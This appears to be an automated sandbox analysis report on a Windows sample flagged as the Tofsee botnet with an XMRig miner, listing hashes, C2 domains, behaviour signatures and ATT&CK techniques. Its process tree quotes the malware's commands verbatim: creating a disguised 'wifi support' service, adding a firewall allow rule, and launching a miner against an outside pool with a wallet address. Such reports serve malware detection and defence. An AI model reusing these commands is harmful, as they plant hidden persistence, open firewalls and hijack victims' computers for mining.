Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 21:30

General

  • Target

    f20fead7bf2edbf5575421bda55a7999e329e6c997c84f4429f700d74773b986.exe

  • Size

    265KB

  • MD5

    ba4e843255dd4005041543477dd85ed3

  • SHA1

    bd722d3e8c53264aaacb12dda0df418491fa3945

  • SHA256

    f20fead7bf2edbf5575421bda55a7999e329e6c997c84f4429f700d74773b986

  • SHA512

    ec1919b114b771e9aa58cee0551abab7f9ad37027e472d5da5849367780462bd5419625a0a68855fe05cb803d9df3bc854c90e013f951c27436fe512dd603732

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f20fead7bf2edbf5575421bda55a7999e329e6c997c84f4429f700d74773b986.exe
    "C:\Users\Admin\AppData\Local\Temp\f20fead7bf2edbf5575421bda55a7999e329e6c997c84f4429f700d74773b986.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5048
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tmturnjp\
      2⤵
        PID:4092
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vjpgkcbo.exe" C:\Windows\SysWOW64\tmturnjp\
        2⤵
          PID:2960
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tmturnjp binPath= "C:\Windows\SysWOW64\tmturnjp\vjpgkcbo.exe /d\"C:\Users\Admin\AppData\Local\Temp\f20fead7bf2edbf5575421bda55a7999e329e6c997c84f4429f700d74773b986.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tmturnjp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tmturnjp
          2⤵
          • Launches sc.exe
          PID:5116
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4440
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 656
          2⤵
          • Program crash
          PID:4456
      • C:\Windows\SysWOW64\tmturnjp\vjpgkcbo.exe
        C:\Windows\SysWOW64\tmturnjp\vjpgkcbo.exe /d"C:\Users\Admin\AppData\Local\Temp\f20fead7bf2edbf5575421bda55a7999e329e6c997c84f4429f700d74773b986.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4404
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:360
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2448
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 516
          2⤵
          • Program crash
          PID:3688
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5048 -ip 5048
        1⤵
          PID:4100
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4404 -ip 4404
          1⤵
            PID:2016

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\vjpgkcbo.exe
            Filesize

            10.7MB

            MD5

            6db8385120d2ba246447eced83ded592

            SHA1

            f88f672bb1c66fbb8fce027698d413422447778e

            SHA256

            c9f30843f81cf41b38603bc5882036c7f255542828ea3982e2498474e0a2b2db

            SHA512

            4c0ae73bdfd0f3b6e5c0c12db0ec509e0bfc0b2a554247a16fdfdda2c24ea84ae05eaf77c40b93c9a8629f5b02c1c9734798bc5f74f7ca037b1121c6561b183f

          • C:\Windows\SysWOW64\tmturnjp\vjpgkcbo.exe
            Filesize

            10.7MB

            MD5

            6db8385120d2ba246447eced83ded592

            SHA1

            f88f672bb1c66fbb8fce027698d413422447778e

            SHA256

            c9f30843f81cf41b38603bc5882036c7f255542828ea3982e2498474e0a2b2db

            SHA512

            4c0ae73bdfd0f3b6e5c0c12db0ec509e0bfc0b2a554247a16fdfdda2c24ea84ae05eaf77c40b93c9a8629f5b02c1c9734798bc5f74f7ca037b1121c6561b183f

          • memory/360-151-0x0000000002280000-0x000000000248F000-memory.dmp
            Filesize

            2.1MB

          • memory/360-150-0x00000000004B0000-0x00000000004C5000-memory.dmp
            Filesize

            84KB

          • memory/360-148-0x00000000004B0000-0x00000000004C5000-memory.dmp
            Filesize

            84KB

          • memory/360-145-0x00000000004B0000-0x00000000004C5000-memory.dmp
            Filesize

            84KB

          • memory/360-166-0x0000000007810000-0x0000000007817000-memory.dmp
            Filesize

            28KB

          • memory/360-163-0x0000000007300000-0x000000000770B000-memory.dmp
            Filesize

            4.0MB

          • memory/360-160-0x00000000027F0000-0x00000000027F5000-memory.dmp
            Filesize

            20KB

          • memory/360-144-0x0000000000000000-mapping.dmp
          • memory/360-157-0x00000000017F0000-0x0000000001800000-memory.dmp
            Filesize

            64KB

          • memory/360-154-0x00000000017E0000-0x00000000017E6000-memory.dmp
            Filesize

            24KB

          • memory/2448-169-0x0000000000000000-mapping.dmp
          • memory/2448-175-0x00000000012C0000-0x00000000013B1000-memory.dmp
            Filesize

            964KB

          • memory/2448-170-0x00000000012C0000-0x00000000013B1000-memory.dmp
            Filesize

            964KB

          • memory/2960-134-0x0000000000000000-mapping.dmp
          • memory/3004-136-0x0000000000000000-mapping.dmp
          • memory/3972-137-0x0000000000000000-mapping.dmp
          • memory/4092-133-0x0000000000000000-mapping.dmp
          • memory/4404-149-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/4440-140-0x0000000000000000-mapping.dmp
          • memory/5048-142-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/5048-141-0x0000000002DF2000-0x0000000002E03000-memory.dmp
            Filesize

            68KB

          • memory/5048-130-0x0000000002DF2000-0x0000000002E03000-memory.dmp
            Filesize

            68KB

          • memory/5048-132-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/5048-131-0x0000000002DC0000-0x0000000002DD3000-memory.dmp
            Filesize

            76KB

          • memory/5116-138-0x0000000000000000-mapping.dmp